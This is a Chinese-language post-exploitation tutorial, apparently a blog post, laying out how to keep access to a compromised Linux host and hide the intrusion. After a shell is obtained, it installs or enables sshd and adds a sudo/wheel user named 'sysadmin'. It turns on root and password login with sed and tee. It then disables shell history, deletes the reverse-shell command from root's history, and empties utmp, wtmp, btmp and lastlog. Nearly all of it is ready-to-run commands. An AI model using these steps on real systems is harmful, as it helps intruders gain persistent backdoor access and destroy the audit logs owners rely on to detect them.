shell——ssh——痕迹擦除
流程
1 2 3
| /-无————安装ssh服务——新建高权限用户——痕迹擦除 判断主机类型——有无sshd服务- \-有——新建高权限用户——痕迹擦除
|
要根据系统的不同使用不同的命令。
查看系统:
1 2 3
| cat /etc/os-release
判断centos、Ubuntu....
|

1、要先判断是否有sshd服务
SSH 客户端用于发起远程 SSH 连接,而 SSHD 则确保服务器能够接受这些连接
1 2 3 4 5 6
| systemctl status sshd
rc-service sshd status 如果command not found,则apk add openrc 安装服务
|

2、如果没有,则安装开启;如果有,那是是否对外开放
判断是否存在ssh、sshd服务
1
| systemctl list-unit-files | grep ssh
|
如果如下,则已安装


如果没有安装,则安装ssh、sshd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| sudo apt update sudo apt install openssh-server sudo systemctl enable ssh sudo systemctl start ssh
/usr/sbin/sshd
sudo dnf install openssh-server
sudo yum install openssh-server
sudo systemctl enable sshd sudo systemctl start sshd
sudo pacman -S openssh sudo systemctl enable sshd sudo systemctl start sshd
apk update apk add openssh rc-update add sshd rc-service sshd start rc-service sshd status sed -i 's/^#\?\(PermitRootLogin\).*/\1 yes/' /etc/ssh/sshd_config sed -i 's/^#\?\(PasswordAuthentication\).*/\1 yes/'
|
设置开机自启动
1 2 3 4 5 6 7 8 9 10 11
| sudo systemctl enable sshd.service
sudo systemctl is-enabled sshd.service
sudo systemctl start sshd.service
sudo systemctl status sshd.service
|
保证22开外开放
确认监听状态
1
| sudo ss -tlnp | grep sshd
|

检查防火墙规则
1 2
| sudo ufw status sudo firewall-cmd --list-all
|
3、建立ssh的高权限用户
1 2 3 4 5 6 7 8 9 10 11
| sudo adduser <用户名> (sudo adduser sysadmin)
sudo passwd <用户名>
sudo usermod -aG sudo <用户名> (sudo usermod -aG sudo sysadmin)
sudo usermod -aG wheel <用户名> (sudo usermod -aG wheel sysadmin)
|
再次确保 SSH 服务允许密码登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| sudo cat /etc/ssh/sshd_config
PermitRootLogin yes(no) PasswordAuthentication yes(no)
如果有,修改为‘都允许’ sed -i 's/^#\?\s*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config sed -i 's/^#\?\s*PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
如果没有看到,则如下写入 echo 'PermitRootLogin yes' | sudo tee -a /etc/ssh/sshd_config echo 'PasswordAuthentication yes' | sudo tee -a /etc/ssh/sshd_config
sudo systemctl restart ssh
|

4、痕迹擦除
痕迹擦除的主要方向就是一些日志文件,我们进行的操作分别包括下面两个
1、执行命令
2、修改用户
所以我们只需要关注这两个会被记录到哪些文件即可。
简单的痕迹擦除
拿到shell之后
1、确保后续命令不写入命令执行的日志文件
1 2 3 4 5
| set +o history 如果需要重新记入日志,可以设置-o参数
set -o history
|
2、删除反弹shell的命令
sudo nano /root/.bash_history,但是半交互式命令行可以无法实现nano,所以我可以如下直接覆盖
3、删除登录信息
1 2 3 4 5 6 7 8
| sudo chown root:root /var/log/lastlog
sudo truncate -s 0 /var/log/lastlog
|
更深一步擦除
常见的一些日志文件,也就是需要关注的地方
| 命令 |
日志文件 |
功能 |
| w,who |
/var/run/utmp |
记录当前正在登录系统的用户信息,uptime记录系统启动时间 |
| last |
/var/log/wtmp |
所有成功登录/登出的历史记录 |
| lastb |
/var/log/btmp |
登录失败尝试 |
| lastlog |
/var/log/lastlog |
最近登录记录 |
这些日志都是以二进制形式存储,清除方法如下
清除方法
直接清空:
1 2 3 4 5
| > /var/run/utmp 或者像上面一样使用 sudo truncate -s 0 /var/log/lastlog ,下面的文件同理 > /var/log/wtmp > /var/log/btmp > /var/log/lastlog
|
其他
然后就是修改一些文件的时间,这个一般很少被关注,所以可以利用脚本来实现,命令太多了
痕迹擦除小脚本
这个就用一个自写的小脚本来实现即可
项目地址:https://github.com/Yf3te/-Trace-erasure